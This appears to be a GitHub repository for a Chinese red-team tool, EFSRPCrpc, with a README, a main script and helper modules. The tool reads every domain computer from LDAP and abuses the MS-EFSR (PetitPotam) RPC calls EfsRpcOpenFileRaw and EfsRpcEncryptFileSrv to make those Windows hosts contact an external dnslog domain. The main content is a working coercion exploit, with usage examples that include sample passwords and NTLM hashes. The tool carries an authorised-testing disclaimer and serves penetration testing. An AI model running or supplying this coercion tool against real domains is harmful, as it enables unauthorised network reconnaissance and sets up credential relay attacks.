├── README.md ├── efsrpcrpc.py ├── img └── starfile.jpeg ├── requirements.txt └── utils ├── GetHostname.py └── PetitPotam.py /README.md: -------------------------------------------------------------------------------- 1 | # EFSRPCrpc 2 | 3 | 在域渗透场景中,利用EFSRPC协议(PetitPotam)通过PING外网域名的方式批量探测windows出网机器 4 | 5 | > 免责声明:此工具仅限于安全研究,用户承担因使用此工具而导致的所有法律和相关责任!作者不承担任何法律责任! 6 | 7 | ## 使用说明 8 | * 默认通过lsarpc管道触发EFSRPC接口,可通过`-pipe`参数指定管道 {efsr,lsarpc,samr,netlogon,lsass} 9 | * 在windows 2008和Windows 2012的环境以下,无需域内凭证;其他windows版本利用需要一个普通域内凭证 10 | 11 | ### 使用范例 12 | 13 | ```python 14 | # 指定target 15 | python efsrpcrpc.py -d test.lab -dc-ip 192.168.12.250 -u admin -hashes f26fb3ae03e93ab9c81667e9d738c5d9:47bf8039a8506cd67c524a03ff84ba4e -target 192.168.12.200 -dnslog test.dnslog.cn 16 | ``` 17 | 18 | ```python 19 | # 从文件中读取target 20 | python efsrpcrpc.py -d test.lab -dc-ip 192.168.12.250 -u admin -p Aa123456 -file file.txt -dnslog test.dnslog.cn 21 | ``` 22 | 23 | ```python 24 | # 默认通过ldap查询所有域机器的DNS为target,批量PING外网dnslog域名 25 | python efsrpcrpc.py -d test.lab -dc-ip 192.168.12.250 -u admin -p Aa123456 -dnslog test.dnslog.cn 26 | ``` 27 | 28 | 29 | ## 免责声明 30 | 31 | 本工具仅面向**合法授权**的企业安全建设行为,如您需要测试本工具的可用性,请自行搭建靶机环境。 32 | 33 | 在使用本工具进行检测时,您应确保该行为符合当地的法律法规,并且已经取得了足够的授权。**请勿对非授权目标进行扫描和攻击。** 34 | 35 | **如您在使用本工具的过程中存在任何非法行为,您需自行承担相应后果,作者将不承担任何法律及连带责任。** 36 | 37 | 在安装并使用本工具前,请您**务必审慎阅读、充分理解各条款内容**,限制、免责条款或者其他涉及您重大权益的条款可能会以加粗、加下划线等形式提示您重点注意。 除非您已充分阅读、完全理解并接受本协议所有条款,否则,请您不要安装并使用本工具。您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的,即视为您已阅读并同意本协议的约束。 38 | 39 | 40 | # Reference 41 | 42 | https://github.com/fortra/impacket/tree/master 43 | https://github.com/XiaoliChan/PetitPotam-V2 44 | 45 | 46 | # 安恒-星火实验室 47 | 48 |

49 | starfile 50 |
51 |

52 | 53 | 专注于实战攻防与研究,研究涉及实战攻防、威胁情报、攻击模拟与威胁分析等,团队成员均来自行业具备多年实战攻防经验的红队、蓝队和紫队专家。本着以攻促防的核心理念,通过落地 ATT&CK 攻防全景知识库,全面构建实战化、常态化、体系化的企业安全建设与运营。 54 | 55 | -------------------------------------------------------------------------------- /efsrpcrpc.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding:utf-8 -*- 3 | 4 | import argparse 5 | import sys 6 | import threading 7 | import time 8 | from getpass import getpass 9 | 10 | from utils import GetHostname 11 | from utils import PetitPotam 12 | 13 | 14 | def main(): 15 | parser = argparse.ArgumentParser(add_help=True, description="MS-EFSR PetitPotam sending dnslog") 16 | parser.add_argument('-d', '--domain', action="store", default='', help='valid domain name') 17 | parser.add_argument('-dc-ip', action="store", metavar="ip address", 18 | help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter') 19 | 20 | group = parser.add_argument_group('authentication') 21 | group.add_argument('-u', '--username', action="store", default='', help='valid username') 22 | group.add_argument('-p', '--password', action="store", default='', 23 | help='valid password (if omitted, it will be asked unless -no-pass)') 24 | group.add_argument('-hashes', action="store", metavar="[LMHASH]:NTHASH", 25 | help='NT/LM hashes (LM hash can be empty)') 26 | group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') 27 | group.add_argument('-k', action="store_true", 28 | help='Use Kerberos authentication. Grabs credentials from ccache file ' 29 | '(KRB5CCNAME) based on target parameters. If valid credentials ' 30 | 'cannot be found, it will use the ones specified in the command ' 31 | 'line') 32 | 33 | group = parser.add_argument_group('target') 34 | group.add_argument('-target', action="store", metavar='target', help='ip address or hostname of target') 35 | group.add_argument('-target-ip', action='store', metavar="ip address", 36 | help='IP Address of the target machine. If omitted it will use whatever was specified as target. ' 37 | 'This is useful when target is the NetBIOS name or Kerberos name and you cannot resolve it') 38 | group.add_argument('-file', action="store", metavar='file', default=None, help='Read target from file') 39 | parser.add_argument('-dnslog', action="store", help='connect dnslog domain') 40 | parser.add_argument('-pipe', action="store", choices=['efsr', 'lsarpc', 'samr', 'netlogon', 'lsass'], 41 | default='lsarpc', help='Named pipe to use (default: lsarpc)') 42 | 43 | options = parser.parse_args() 44 | 45 | banner = """ 46 | __ 47 | ___ / _|___ _ __ _ __ ___ _ __ _ __ ___ 48 | / _ \ |_/ __| '__| '_ \ / __| '__| '_ \ / __| 49 | | __/ _\__ \ | | |_) | (__| | | |_) | (__ 50 | \___|_| |___/_| | .__/ \___|_| | .__/ \___| 51 | |_| |_| 52 | """ 53 | 54 | if len(sys.argv) == 1: 55 | print(banner) 56 | print( 57 | "examples: python efsrpcrpc.py -d test.lab -dc-ip 192.168.12.250 -u admin -p Aa123456 -dnslog test.dnslog.cn") 58 | print( 59 | "examples: python efsrpcrpc.py -d test.lab -dc-ip 192.168.12.250 -u admin -hashes f26fb3ae03e93ab9c81667e9d738c5d9:47bf8039a8506cd67c524a03ff84ba4e -target 192.168.12.200 -dnslog test.dnslog.cn") 60 | print( 61 | "examples: python efsrpcrpc.py -d test.lab -dc-ip 192.168.12.250 -u admin -p Aa123456 -file file.txt -dnslog test.dnslog.cn") 62 | sys.exit() 63 | 64 | if options.hashes is not None: 65 | lmhash, nthash = options.hashes.split(':') 66 | else: 67 | lmhash = '' 68 | nthash = '' 69 | 70 | if options.password == '' and options.username != '' and options.hashes is None and options.no_pass is not True: 71 | options.password = getpass("Password:") 72 | 73 | start_time = time.time() 74 | 75 | Target_list = [] 76 | if options.file is None and options.target is None: 77 | print("Please wait for the dNSHostName attribute to be read from ldap:") 78 | Target_list = GetHostname.GetHostname(options.username, options.password, options.domain, lmhash, nthash, 79 | options.dc_ip, options.k) 80 | print("[+] Read a total of %s targets" % (len(Target_list))) 81 | elif options.target: 82 | Target_list.append(options.target) 83 | elif options.file: 84 | with open(options.file, 'r') as file: 85 | Target_list.extend(line.strip() for line in file) 86 | 87 | threads = [] 88 | for target in Target_list: 89 | listener = target + "." + options.dnslog 90 | thread = threading.Thread(target=PetitPotam.connect, kwargs={ 91 | 'username': options.username, 92 | 'password': options.password, 93 | 'domain': options.domain, 94 | 'lmhash': lmhash, 95 | 'nthash': nthash, 96 | 'target': target, 97 | 'pipe': options.pipe, 98 | 'doKerberos': options.k, 99 | 'dcHost': options.dc_ip, 100 | 'targetIp': options.target_ip, 101 | 'listener': listener, 102 | }) 103 | threads.append(thread) 104 | thread.start() 105 | 106 | for thread in threads: 107 | thread.join() 108 | 109 | end_time = time.time() 110 | elapsed_time = end_time - start_time 111 | print("[*] 扫描结束,耗时: %s seconds\n" % (elapsed_time)) 112 | 113 | 114 | if __name__ == '__main__': 115 | main() 116 | -------------------------------------------------------------------------------- /img/starfile.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarfireLab/EFSRPCrpc/d1319cbc3db53314c6badfe88b32ca83a55c8eba/img/starfile.jpeg -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | impacket -------------------------------------------------------------------------------- /utils/GetHostname.py: -------------------------------------------------------------------------------- 1 | # !/usr/bin/env python 2 | # -*- coding:utf-8 -*- 3 | 4 | import sys 5 | 6 | from impacket.ldap import ldap 7 | 8 | dNSHostName = [] 9 | 10 | 11 | def processRecord(item): 12 | global dNSHostName 13 | try: 14 | for attribute in item['attributes']: 15 | hostname = str(attribute['vals'][0]) 16 | dNSHostName.append(hostname) 17 | except Exception as e: 18 | pass 19 | 20 | 21 | def GetHostname(username, password, domain, lmhash, nthash, dcHost, doKerberos): 22 | domainParts = domain.split('.') 23 | baseDN = '' 24 | for i in domainParts: 25 | baseDN += 'dc=%s,' % i 26 | 27 | baseDN = baseDN[:-1] 28 | 29 | try: 30 | ldapConnection = ldap.LDAPConnection('ldap://%s' % dcHost, baseDN, dcHost) 31 | if doKerberos is not True: 32 | ldapConnection.login(username, password, domain, lmhash, nthash) 33 | else: 34 | ldapConnection.kerberosLogin(user=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash, 35 | kdcHost=dcHost) 36 | except ldap.LDAPSessionError as e: 37 | if str(e).find('strongerAuthRequired') >= 0: 38 | 39 | ldapConnection = ldap.LDAPConnection('ldaps://%s' % dcHost, baseDN, dcHost) 40 | if doKerberos is not True: 41 | ldapConnection.login(username, password, domain, lmhash, nthash) 42 | else: 43 | ldapConnection.kerberosLogin(user=username, password=password, domain=domain, lmhash=lmhash, 44 | nthash=nthash, 45 | kdcHost=dcHost) 46 | else: 47 | if str(e).find('NTLMAuthNegotiate') >= 0: 48 | print( 49 | "NTLM negotiation failed. Probably NTLM is disabled. Try to use Kerberos " "authentication instead.") 50 | sys.exit() 51 | 52 | else: 53 | if dcHost is not None: 54 | print( 55 | "If the credentials are valid, check the hostname and IP address of KDC. They " "must match exactly each other.") 56 | sys.exit() 57 | 58 | searchFilter = "(sAMAccountType=805306369)" 59 | try: 60 | sc = ldap.SimplePagedResultsControl(size=100) 61 | ldapConnection.search(searchFilter=searchFilter, 62 | attributes=['dNSHostName'], 63 | sizeLimit=0, searchControls=[sc], perRecordCallback=processRecord) 64 | except ldap.LDAPSearchError as e: 65 | print(e) 66 | sys.exit() 67 | ldapConnection.close() 68 | 69 | global dNSHostName 70 | return dNSHostName 71 | -------------------------------------------------------------------------------- /utils/PetitPotam.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding:utf-8 -*- 3 | 4 | from impacket import system_errors 5 | from impacket.dcerpc.v5 import transport 6 | from impacket.dcerpc.v5.dtypes import ULONG, WSTR, DWORD, BOOL, PCHAR, RPC_SID, LPWSTR 7 | from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT 8 | from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_WINNT, RPC_C_AUTHN_LEVEL_PKT_PRIVACY 9 | from impacket.uuid import uuidtup_to_bin 10 | 11 | 12 | class DCERPCSessionError(DCERPCException): 13 | def __init__(self, error_string=None, error_code=None, packet=None): 14 | DCERPCException.__init__(self, error_string, error_code, packet) 15 | 16 | def __str__(self): 17 | key = self.error_code 18 | if key in system_errors.ERROR_MESSAGES: 19 | error_msg_short = system_errors.ERROR_MESSAGES[key][0] 20 | error_msg_verbose = system_errors.ERROR_MESSAGES[key][1] 21 | return 'EFSR SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) 22 | else: 23 | return 'EFSR SessionError: unknown error code: 0x%x' % self.error_code 24 | 25 | 26 | class EXIMPORT_CONTEXT_HANDLE(NDRSTRUCT): 27 | align = 1 28 | structure = ( 29 | ('Data', '20s'), 30 | ) 31 | 32 | 33 | class EXIMPORT_CONTEXT_HANDLE(NDRSTRUCT): 34 | align = 1 35 | structure = ( 36 | ('Data', '20s'), 37 | ) 38 | 39 | 40 | class EFS_EXIM_PIPE(NDRSTRUCT): 41 | align = 1 42 | structure = ( 43 | ('Data', ':'), 44 | ) 45 | 46 | 47 | class EFS_HASH_BLOB(NDRSTRUCT): 48 | structure = ( 49 | ('Data', DWORD), 50 | ('cbData', PCHAR), 51 | ) 52 | 53 | 54 | class EFS_RPC_BLOB(NDRSTRUCT): 55 | structure = ( 56 | ('Data', DWORD), 57 | ('cbData', PCHAR), 58 | ) 59 | 60 | 61 | class EFS_CERTIFICATE_BLOB(NDRSTRUCT): 62 | structure = ( 63 | ('Type', DWORD), 64 | ('Data', DWORD), 65 | ('cbData', PCHAR), 66 | ) 67 | 68 | 69 | class ENCRYPTION_CERTIFICATE_HASH(NDRSTRUCT): 70 | structure = ( 71 | ('Lenght', DWORD), 72 | ('SID', RPC_SID), 73 | ('Hash', EFS_HASH_BLOB), 74 | ('Display', LPWSTR), 75 | ) 76 | 77 | 78 | class ENCRYPTION_CERTIFICATE(NDRSTRUCT): 79 | structure = ( 80 | ('Lenght', DWORD), 81 | ('SID', RPC_SID), 82 | ('Hash', EFS_CERTIFICATE_BLOB), 83 | 84 | ) 85 | 86 | 87 | class ENCRYPTION_CERTIFICATE_HASH_LIST(NDRSTRUCT): 88 | align = 1 89 | structure = ( 90 | ('Cert', DWORD), 91 | ('Users', ENCRYPTION_CERTIFICATE_HASH), 92 | ) 93 | 94 | 95 | class ENCRYPTED_FILE_METADATA_SIGNATURE(NDRSTRUCT): 96 | structure = ( 97 | ('Type', DWORD), 98 | ('HASH', ENCRYPTION_CERTIFICATE_HASH_LIST), 99 | ('Certif', ENCRYPTION_CERTIFICATE), 100 | ('Blob', EFS_RPC_BLOB), 101 | ) 102 | 103 | 104 | class EFS_RPC_BLOB(NDRSTRUCT): 105 | structure = ( 106 | ('Data', DWORD), 107 | ('cbData', PCHAR), 108 | ) 109 | 110 | 111 | class ENCRYPTION_CERTIFICATE_LIST(NDRSTRUCT): 112 | align = 1 113 | structure = ( 114 | ('Data', ':'), 115 | ) 116 | 117 | 118 | class EfsRpcOpenFileRaw(NDRCALL): 119 | opnum = 0 120 | structure = ( 121 | ('fileName', WSTR), 122 | ('Flag', ULONG), 123 | ) 124 | 125 | 126 | class EfsRpcOpenFileRawResponse(NDRCALL): 127 | structure = ( 128 | ('hContext', EXIMPORT_CONTEXT_HANDLE), 129 | ('ErrorCode', ULONG), 130 | ) 131 | 132 | 133 | class EfsRpcEncryptFileSrv(NDRCALL): 134 | opnum = 4 135 | structure = ( 136 | ('FileName', WSTR), 137 | ) 138 | 139 | 140 | class EfsRpcEncryptFileSrvResponse(NDRCALL): 141 | structure = ( 142 | ('ErrorCode', ULONG), 143 | ) 144 | 145 | 146 | class EfsRpcDecryptFileSrv(NDRCALL): 147 | opnum = 5 148 | structure = ( 149 | ('FileName', WSTR), 150 | ('Flag', ULONG), 151 | ) 152 | 153 | 154 | class EfsRpcDecryptFileSrvResponse(NDRCALL): 155 | structure = ( 156 | ('ErrorCode', ULONG), 157 | ) 158 | 159 | 160 | class EfsRpcQueryUsersOnFile(NDRCALL): 161 | opnum = 6 162 | structure = ( 163 | ('FileName', WSTR), 164 | 165 | ) 166 | 167 | 168 | class EfsRpcQueryUsersOnFileResponse(NDRCALL): 169 | structure = ( 170 | ('ErrorCode', ULONG), 171 | ) 172 | 173 | 174 | class EfsRpcQueryRecoveryAgents(NDRCALL): 175 | opnum = 7 176 | structure = ( 177 | ('FileName', WSTR), 178 | 179 | ) 180 | 181 | 182 | class EfsRpcQueryRecoveryAgentsResponse(NDRCALL): 183 | structure = ( 184 | ('ErrorCode', ULONG), 185 | ) 186 | 187 | 188 | class EfsRpcRemoveUsersFromFile(NDRCALL): 189 | opnum = 8 190 | structure = ( 191 | ('FileName', WSTR), 192 | ('Users', ENCRYPTION_CERTIFICATE_HASH_LIST) 193 | 194 | ) 195 | 196 | 197 | class EfsRpcRemoveUsersFromFileResponse(NDRCALL): 198 | structure = ( 199 | ('ErrorCode', ULONG), 200 | ) 201 | 202 | 203 | class EfsRpcAddUsersToFile(NDRCALL): 204 | opnum = 9 205 | structure = ( 206 | ('FileName', WSTR), 207 | ('EncryptionCertificates', ENCRYPTION_CERTIFICATE_LIST) 208 | 209 | ) 210 | 211 | 212 | class EfsRpcAddUsersToFileResponse(NDRCALL): 213 | structure = ( 214 | ('ErrorCode', ULONG), 215 | ) 216 | 217 | 218 | class EfsRpcFileKeyInfo(NDRCALL): 219 | opnum = 12 220 | structure = ( 221 | ('FileName', WSTR), 222 | ('infoClass', DWORD), 223 | ) 224 | 225 | 226 | class EfsRpcFileKeyInfoResponse(NDRCALL): 227 | structure = ( 228 | ('ErrorCode', ULONG), 229 | ) 230 | 231 | 232 | class EfsRpcDuplicateEncryptionInfoFile(NDRCALL): 233 | opnum = 13 234 | structure = ( 235 | ('SrcFileName', WSTR), 236 | ('DestFileName', WSTR), 237 | ('dwCreationDisposition', DWORD), 238 | ('dwAttributes', DWORD), 239 | ('RelativeSD', EFS_RPC_BLOB), 240 | ('bInheritHandle', BOOL), 241 | ) 242 | 243 | 244 | class EfsRpcDuplicateEncryptionInfoFileResponse(NDRCALL): 245 | structure = ( 246 | ('ErrorCode', ULONG), 247 | ) 248 | 249 | 250 | class EfsRpcAddUsersToFileEx(NDRCALL): 251 | opnum = 15 252 | structure = ( 253 | ('dwFlags', DWORD), 254 | ('Reserved', EFS_RPC_BLOB), 255 | ('FileName', WSTR), 256 | ('dwAttributes', DWORD), 257 | ('EncryptionCertificates', ENCRYPTION_CERTIFICATE_LIST), 258 | ) 259 | 260 | 261 | class EfsRpcAddUsersToFileExResponse(NDRCALL): 262 | structure = ( 263 | ('ErrorCode', ULONG), 264 | ) 265 | 266 | 267 | class EfsRpcFileKeyInfoEx(NDRCALL): 268 | opnum = 16 269 | structure = ( 270 | ('dwFileKeyInfoFlags', DWORD), 271 | ('Reserved', EFS_RPC_BLOB), 272 | ('FileName', WSTR), 273 | ('InfoClass', DWORD), 274 | ) 275 | 276 | 277 | class EfsRpcFileKeyInfoExResponse(NDRCALL): 278 | structure = ( 279 | ('ErrorCode', ULONG), 280 | ) 281 | 282 | 283 | class EfsRpcGetEncryptedFileMetadata(NDRCALL): 284 | opnum = 18 285 | structure = ( 286 | ('FileName', WSTR), 287 | ) 288 | 289 | 290 | class EfsRpcGetEncryptedFileMetadataResponse(NDRCALL): 291 | structure = ( 292 | ('ErrorCode', ULONG), 293 | ) 294 | 295 | 296 | class EfsRpcSetEncryptedFileMetadata(NDRCALL): 297 | opnum = 19 298 | structure = ( 299 | ('FileName', WSTR), 300 | ('OldEfsStreamBlob', EFS_RPC_BLOB), 301 | ('NewEfsStreamBlob', EFS_RPC_BLOB), 302 | ('NewEfsSignature', ENCRYPTED_FILE_METADATA_SIGNATURE), 303 | ) 304 | 305 | 306 | class EfsRpcSetEncryptedFileMetadataResponse(NDRCALL): 307 | structure = ( 308 | ('ErrorCode', ULONG), 309 | ) 310 | 311 | 312 | class EfsRpcEncryptFileExSrv(NDRCALL): 313 | opnum = 21 314 | structure = ( 315 | ('FileName', WSTR), 316 | ('ProtectorDescriptor', WSTR), 317 | ('Flags', ULONG), 318 | ) 319 | 320 | 321 | class EfsRpcEncryptFileExSrvResponse(NDRCALL): 322 | structure = ( 323 | ('ErrorCode', ULONG), 324 | ) 325 | 326 | 327 | OPNUMS = { 328 | 0: (EfsRpcOpenFileRaw, EfsRpcOpenFileRawResponse), 329 | 4: (EfsRpcEncryptFileSrv, EfsRpcEncryptFileSrvResponse), 330 | 5: (EfsRpcDecryptFileSrv, EfsRpcDecryptFileSrvResponse), 331 | 6: (EfsRpcQueryUsersOnFile, EfsRpcQueryUsersOnFileResponse), 332 | 7: (EfsRpcQueryRecoveryAgents, EfsRpcQueryRecoveryAgentsResponse), 333 | 8: (EfsRpcRemoveUsersFromFile, EfsRpcRemoveUsersFromFileResponse), 334 | 9: (EfsRpcAddUsersToFile, EfsRpcAddUsersToFileResponse), 335 | 12: (EfsRpcFileKeyInfo, EfsRpcFileKeyInfoResponse), 336 | 13: (EfsRpcDuplicateEncryptionInfoFile, EfsRpcDuplicateEncryptionInfoFileResponse), 337 | 15: (EfsRpcAddUsersToFileEx, EfsRpcAddUsersToFileExResponse), 338 | 16: (EfsRpcFileKeyInfoEx, EfsRpcFileKeyInfoExResponse), 339 | 18: (EfsRpcGetEncryptedFileMetadata, EfsRpcGetEncryptedFileMetadataResponse), 340 | 19: (EfsRpcSetEncryptedFileMetadata, EfsRpcSetEncryptedFileMetadataResponse), 341 | 21: (EfsRpcEncryptFileExSrv, EfsRpcEncryptFileExSrvResponse), 342 | 343 | } 344 | 345 | 346 | def connect(username, password, domain, lmhash, nthash, target, pipe, doKerberos, dcHost, targetIp, listener): 347 | binding_params = { 348 | 'lsarpc': { 349 | 'stringBinding': r'ncacn_np:%s[\PIPE\lsarpc]' % target, 350 | 'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0') 351 | }, 352 | 'efsr': { 353 | 'stringBinding': r'ncacn_np:%s[\PIPE\efsrpc]' % target, 354 | 'MSRPC_UUID_EFSR': ('df1941c5-fe89-4e79-bf10-463657acf44d', '1.0') 355 | }, 356 | 'samr': { 357 | 'stringBinding': r'ncacn_np:%s[\PIPE\samr]' % target, 358 | 'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0') 359 | }, 360 | 'lsass': { 361 | 'stringBinding': r'ncacn_np:%s[\PIPE\lsass]' % target, 362 | 'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0') 363 | }, 364 | 'netlogon': { 365 | 'stringBinding': r'ncacn_np:%s[\PIPE\netlogon]' % target, 366 | 'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0') 367 | }, 368 | } 369 | 370 | rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]['stringBinding']) 371 | 372 | if hasattr(rpctransport, 'set_credentials'): 373 | rpctransport.set_credentials(username=username, password=password, domain=domain, lmhash=lmhash, 374 | nthash=nthash) 375 | 376 | if doKerberos: 377 | rpctransport.set_kerberos(doKerberos, kdcHost=dcHost) 378 | if targetIp: 379 | rpctransport.setRemoteHost(targetIp) 380 | 381 | dce = rpctransport.get_dce_rpc() 382 | dce.set_auth_type(RPC_C_AUTHN_WINNT) 383 | dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) 384 | 385 | try: 386 | dce.connect() 387 | except Exception as e: 388 | print("Something went wrong, check error status => %s" % str(e)) 389 | print("[-] Connecting to %s Error" % binding_params[pipe]['stringBinding']) 390 | return 391 | 392 | try: 393 | dce.bind(uuidtup_to_bin(binding_params[pipe]['MSRPC_UUID_EFSR'])) 394 | except Exception as e: 395 | print("Something went wrong, check error status => %s" % str(e)) 396 | print("[-] bind %s %s Error" % (pipe, binding_params[pipe]['MSRPC_UUID_EFSR'][0])) 397 | dce.disconnect() 398 | return 399 | 400 | try: 401 | 402 | request = EfsRpcOpenFileRaw() 403 | request['fileName'] = '\\\\%s\\test\\Settings.ini\x00' % listener 404 | request['Flag'] = 0 405 | 406 | resp = dce.request(request) 407 | 408 | except Exception as e: 409 | if str(e).find('ERROR_BAD_NETPATH') >= 0: 410 | print("[+] %s connect %s EfsRpcOpenFileRaw Attack worked " % (target, listener)) 411 | else: 412 | if str(e).find('rpc_s_access_denied') >= 0: 413 | try: 414 | 415 | request = EfsRpcEncryptFileSrv() 416 | request['FileName'] = '\\\\%s\\test\\Settings.ini\x00' % listener 417 | resp = dce.request(request) 418 | except Exception as e: 419 | if str(e).find('ERROR_BAD_NETPATH') >= 0: 420 | print("[+] %s connect %s EfsRpcEncryptFileSrv Attack worked " % (target, listener)) 421 | else: 422 | print("[-] Attack worked error") 423 | 424 | else: 425 | print("[-] Attack worked error") 426 | finally: 427 | dce.disconnect() 428 | return 429 | --------------------------------------------------------------------------------